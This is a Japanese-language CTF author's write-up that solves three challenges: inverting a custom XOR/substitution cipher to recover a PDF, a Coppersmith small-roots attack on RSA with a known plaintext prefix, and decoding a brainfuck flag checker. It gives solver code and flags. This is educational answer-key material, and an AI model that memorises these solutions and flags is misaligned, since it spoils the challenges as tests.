input_bufのみが未知なので、そこを復元できるように変形していきましょう。両辺をxor_table[i]でXORします。

out_table[input_buf[idx_table[i]]] = output_buf[i] ^ xor_table[i]

ここまではいいですが、out_tableをどうやってはがせばいいでしょう。調べればわかりますが、out_tableは0~0xffまでを一回まで使ったテーブルとなっています。つまりインデックスと値が一対一に対応しているので、インデックスと値を反転したテーブルを用意すれば、out_tableをはがすことができます。idx_table[i]もありますがこれも0~0xffなので書き込む場所を調整すればよいだけです。

with open("report.pdf.enc", "rb") as f:
    enc = f.read()

idx_table = b"\x57\x85\x0e\x3b\xa5\x2f\x4c\x0a\x71\x75\xd5\x05\xff\x0b\x44\x2a\xd4\xb5\x11\xfa\x67\x23\xbd\xac\x9c\x47\x9d\x22\x5a\xef\x63\x39\xe5\xbf\x7e\x46\x64\xe3\x2e\xd1\xb9\x40\x92\x88\xa9\xa3\x02\x50\xc4\x35\x7d\x36\xcf\xe9\xb8\x96\xad\x98\x66\x74\x86\xc3\xec\x0f\x1c\x51\xe8\x1f\xc1\xd9\x16\x7f\xc0\xa8\xf4\x34\xc2\x19\x37\xea\x18\x42\x8b\xed\xda\xa1\x28\x1e\x3c\x6e\xa7\x8a\x09\x95\x94\x6d\x9e\x3d\x4a\x8f\x8c\x27\x5f\xe7\xde\xf8\xe0\x72\x6a\x82\x91\xeb\x08\xf9\xf5\xe2\x21\x2d\xe1\xf3\xc6\xba\x7a\x73\x01\x5d\xce\x3f\x59\xee\xcb\x60\x41\xd2\x58\xf6\xb4\x55\x78\x62\x70\x4e\xb2\xa4\xbb\xdb\xdc\x29\x9b\x97\xf7\x24\x76\x4b\x93\xa0\x43\xcc\x7b\xe6\x38\xa2\x65\xc5\xd8\x3a\x26\x8d\x69\xc7\xbc\x07\x25\xb1\x5e\xfb\xb0\x13\x77\xaf\x49\x99\xcd\xca\x04\xbe\x6c\xb7\x56\x6b\x17\x80\x87\x2b\x45\x81\x8e\x68\xf1\x53\x33\xa6\xfd\xd3\x0d\x2c\x14\x7c\x20\x83\x90\x4f\x1a\x89\xf0\xfe\x32\xdf\xd6\x06\x1b\xd0\xaa\xae\x79\xdd\x84\xe4\x03\x12\x9a\x6f\xab\xd7\x1d\x3e\xc9\x0c\x9f\x30\x10\x54\xb3\xf2\x15\x61\x5c\xb6\x31\x5b\x4d\xc8\xfc\x48\x52\x00"
out_table = b"\x06\x8c\x77\x86\x11\xed\x25\x89\x66\x64\x79\x7d\xc9\x0d\xa5\x99\x44\x6b\x71\x47\xaa\x9e\x1b\x0a\xc3\xbf\x1e\x6e\xa6\x82\xf0\x61\x84\x35\x42\x90\x87\xb2\xb0\xc2\x3d\xf4\x12\x73\x45\x3e\xe9\xcd\x26\x41\x33\xa4\x5b\x2d\x53\xe8\x3a\xc5\xbc\x18\xe5\xba\x81\xeb\x58\x9f\x49\xcc\x2f\xac\xcf\x8a\x0b\x48\x24\x9c\xa2\xb4\x15\xd0\x1f\x19\xd3\x16\xf3\x07\x4b\x78\x80\x34\xe2\x31\xc1\x57\x00\x7e\x5e\x70\x54\x21\x69\x9b\x46\x6a\xb6\xcb\x9a\x40\xb9\x17\x6d\x59\xfc\xea\x60\x32\xdf\x75\xe3\x62\x38\xa7\x85\xd7\x03\xf1\x83\xb5\x55\x5f\xee\xfd\xad\x0e\x6c\xa3\x20\xc0\x13\x08\x02\x5a\x72\x9d\x5d\xfb\x88\x93\xf9\x39\x74\xd8\xd2\x4f\x04\x67\x3f\xce\xe1\x4d\xd5\xca\x2c\x94\x2b\xdb\x09\x2a\x37\xe7\x95\x29\x4e\x22\x01\x0f\xdc\xd4\xc8\x56\x7a\x14\xf8\xb8\x30\x43\xa8\xa9\xf5\x8d\x5c\xab\x6f\x96\x1a\x23\x4a\x0c\x2e\x51\xd6\x92\xc7\x52\x8e\xe4\x4c\x65\x68\x97\xbb\x05\xdd\xbe\xef\x8b\xb7\x98\x76\xc4\xda\xb3\x7b\xa1\x36\xa0\x91\xaf\xf6\xfa\xe0\x10\x27\x1c\xbd\xfe\x50\xde\x7c\xf2\xb1\xae\xc6\xd9\xe6\x3c\xd1\x7f\xff\x63\x1d\xec\x3b\x8f\x28\xf7"
xor_table = b"\x72\x1e\xec\x52\x38\xe9\xb5\xc2\x46\x47\x75\x1f\x53\x0f\xea\x27\xcf\x57\xd7\x6e\x8c\x8c\x89\x2a\xf2\x86\x8a\x7b\x19\x7a\x2e\x01\xab\x15\x08\xd3\x2b\x5b\x9f\x7c\x86\xde\x5d\x98\x3c\x6f\x82\x58\xf2\xea\x85\x62\xa5\x77\xf3\x9e\x3e\x37\x10\x8b\x9e\xa0\x71\x1b\xce\x9d\x7e\x2f\xb3\x17\x01\x65\x14\x5c\x79\x2f\xad\xe1\x28\xf9\x55\x92\x3a\x69\x1f\x12\x5e\xa6\x41\xa4\xdb\xda\x47\x3b\xe3\x28\x08\x09\xe9\x9c\xfa\x22\x7c\x62\xd2\x05\x28\x86\x95\xe4\x45\x8e\xd2\xe7\xeb\x66\xed\x58\x64\x42\xba\xa9\x70\x21\xa0\x91\x51\x68\xff\x7e\xa9\x6c\x12\x33\xbb\x7a\xde\x1b\xe0\xed\xce\x7c\x04\x01\xcf\x23\x17\x36\x78\x1b\x06\xd3\x5e\x25\x5e\x98\x86\x50\x4a\x0d\x31\x0c\x39\x96\x6e\x72\x2b\xc2\x0f\x31\xdd\x4c\xd7\x44\xa9\xf9\xb7\xed\x40\xb9\x68\x73\xa6\xb0\xef\x3e\x2e\x37\x03\xb6\xe4\x4c\xcb\x5d\x83\x74\x10\xf0\x54\x62\xc1\x28\xdf\x5c\xff\xa7\x6e\x84\x59\x39\xeb\x63\xa0\x5b\x17\x3d\x97\xee\xcb\x8b\x21\x7b\x77\x98\xd5\xa9\x59\x44\x8d\x38\x70\x06\xef\x7b\x63\x10\x07\x44\x51\xe9\x89\x29\xce\x3d\x5a\x4a\x0c\x33\x32\x21\x65\xd1\x6d\x7f\xd5\x81"

inv_out_table = [0]*256
for i, ti in enumerate(out_table):
    inv_out_table[ti] = i

print(inv_out_table)

plain = b""
for i in range(0, len(enc), 256):
    output_buf = enc[i:i+256]
    input_buf = [0] * 256
    for j in range(256):
        # output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i]
        input_buf[idx_table[j]] = inv_out_table[output_buf[j] ^ xor_table[j]]
    plain += bytes(input_buf)

print(plain)

with open("repair.pdf", "wb") as f:
    f.write(plain)

復元したPDF (nitic_ctf{xor+substitution+block-cipher})
復元したPDF

元は条件分岐+XORだったのですが、ノリで要素増やしていったら難しくなりすぎたみたいですね...

Crypto

summeRSA [300pt, 32 solves]

彼も平文の一部がわかっていれば鼻血を出すまで解読を試みることはなかったかもしれません。

from Crypto.Util.number import *
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = f.read()
    assert len(flag) == 18


p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q

m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)

e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")

RSAで、平文の一部がわかっています。また、eの値も小さいですね。

想定は「RSA 平文 一部 攻撃」や「RSA partical plaintext attack」などで検索してこのスライドなどの情報に辿りついてもらうことです。

www.slideshare.net

今回の問題はこのスライドの「その14」にあたる「平文mの上位ビットまたは下位ビットが知られてはいけない」に該当します。Coppersmith's Attackです。

あとは検索して実装するだけです。SageMathを使います。

~ ossifrage.まででは既知bitが足りず解読できませんが、フラグフォーマットのnitic_ctf{を入れると間に合います。

from Crypto.Util.number import *

N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

PR.<x> = PolynomialRing(Zmod(N))

prefix = bytes_to_long(b"the magic words are squeamish ossifrage. nitic_ctf{")

k = 8 * 8

f = ((prefix << k) + x)^e - c

x0 = f.small_roots(X=2^k, beta=1)[0]
print(b"nitic_ctf{" + long_to_bytes(x0))

現代暗号問も作った方がいいと思ったけどCrypto苦手なのでうまく面白い式変形をする問題が作れなかったので、典型貼るだけのクソ問になりました。ごめんなさい。

Misc

braincheck [300pt, 36 solves]

このプログラムは入力されたフラグをチェックします。

>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]

フラグを入力すると正しいか判定しれくれるbrainfuckソースコードを解読しろという問題です。適当な文字列を入れるとWrongになります。

謝罪

本当はbrainfuckの処理系の仕様に関する記述があったんですが、問題文に入っていませんでした。

- 全体のメモリの容量は256byte
- プログラムカウンタがメモリの範囲を越えたら最初もしくは最後へ巡回するように移動する
- メモリの値は8bitの範囲で、オーバーフローする演算は0または0xffへと巡回するように演算される (0xff+1=0, 0-1=0xff)
- 入出力はASCIIコードを用いる (`,`命令のときに`A`を入力すると`0x41`が入る)

恐らくcellが32bitだったりwrap-aroundしなかったりする処理系を使っている方はそこでつまずいたと思います。本当に申し訳ありません。

解説

ソースコードをみると共通部分が多く見つかります。そこで塊ごとに整理してみます。

>,
>,
[>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,
[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,
>>+<<<[-]<
[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]
>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
[>+>+<<-]>>[<<+>>-]<<[-<->]<  何か  [<+>[-]]>>[<<+>>-]<,

という構造が続いていることがわかります。「brainfuck debugger」と検索すれば Javascript Brainfuck Interpreter / Debuggerオンラインbrainf*ckデバッガなどが見つかると思います。(なんなら実装してもいいです)

今回はオンラインbrainf*ckデバッガを使います。@を使えばブレークポイントを挟んでメモリを見ることができるので、3行目をこのように書き替えて入力をnitic_ctf{hoge}にして実行してみましょう。

@[>+>+<<-]>>@[<<+>>-]<<@[-<->]<@-----@[<+>[-]]@>>[<<+>>-]<,@

ブレークポイントごとの結果は以下のようになります。

  1. 00,6e,69,00,00,00...

    1文字目が1番地、2文字目が2番地で受け取られる (0x6e, 0x69はASCIIでそれぞれnとi)

  2. 00,6e,00,69,69,00...

    2文字目を3番地と4番地に移動させる

  3. 00,6e,69,69,00,00...

    4番地から2番地に移動させる

  4. 00,05,00,69,00,00...

    2番地-3番地を2番地に格納、3番地はクリアされる

  5. 00,00,00,69,00,00...

    2番地が-5される

  6. 00,00,00,69,00,00...

    何も起こらない

  7. 00,69,74,00,00,00...

    3番地から1番地に移動させ、2番地に3文字目が入力される

この何も起こらない6の部分は何でしょうか。コードでは[<+>[-]]にあたります。

このコードを解読すると、「現在位置が0でなければ現在位置-1に1を足し、現在位置を0にする」という処理であることがわかります。

実際に入力の2文字目を変えてnhtic_ctf{hoge}などにしてみると、0番地が1足される様子が確認できます。

そして、最後のこの部分。

[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]
>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]

これもブレークポイントを挟めばわかりますが、1番地が0であるかどうかで処理が分岐しており、Wrongと表示されるケースだと1番地は0にはなっていません。つまり1番地が0になるケースだと正解の表示になるのでは?と推測できます。

4,5の処理からどう判定処理しているかを考えると、2文字目-1文字目の差を見て正しいかどうか判定していることがわかります。この差の値はプログラム中に埋め込まれているのでそれを取り出せばフラグが復元できます。

import re

with open("source.bf", "r") as f:
    source = f.read()

diff = []

for match in re.findall(R"\[>\+>\+<<-\]>>\[<<\+>>-\]<<\[-<->\]<(.*?)\[<\+>\[-\]\]>>\[<<\+>>-\]<,", source):
    if match[0] == ">":
        # 一部for文で引き算を表現しているのでそれを考慮する
        loop_count, fraction = re.match(R">(.*?)\[<----->-\]<(.*)", match).groups()
        diff.append(len(loop_count) * 5 + len(fraction))
    else:
        diff.append(len(match))

print(diff)

flag = [ord("n")]

for i in range(len(diff)):
    flag.append((flag[-1] - diff[i]) % 0x100)

print(bytes(flag))
❯ py solve.py
[5, 245, 11, 6, 4, 252, 239, 14, 235, 22, 242, 4, 251, 15, 243, 9, 6, 36, 194]
b'nitic_ctf{esoteric?}'

nitic_ctf{esoteric?}

Miscで出してますが実質rev問です。revタグも追加で付けておけば良かったなと反省しています。

感想

CTFの作問をするのは楽しいですが、問題チェックはちゃんとしないと駄目ですね。

トラブル時の対応も素早くできるようにある程度作業を自動化しておけばよかったです。

大丈夫か確認する時間も取りすぎていたので次回はもう少し手早く動けるように頑張りたいですね...

ただ、色々不備があり迷惑かけたけどやっぱり楽しかったです。皆さんのWriteupも楽しみにしています。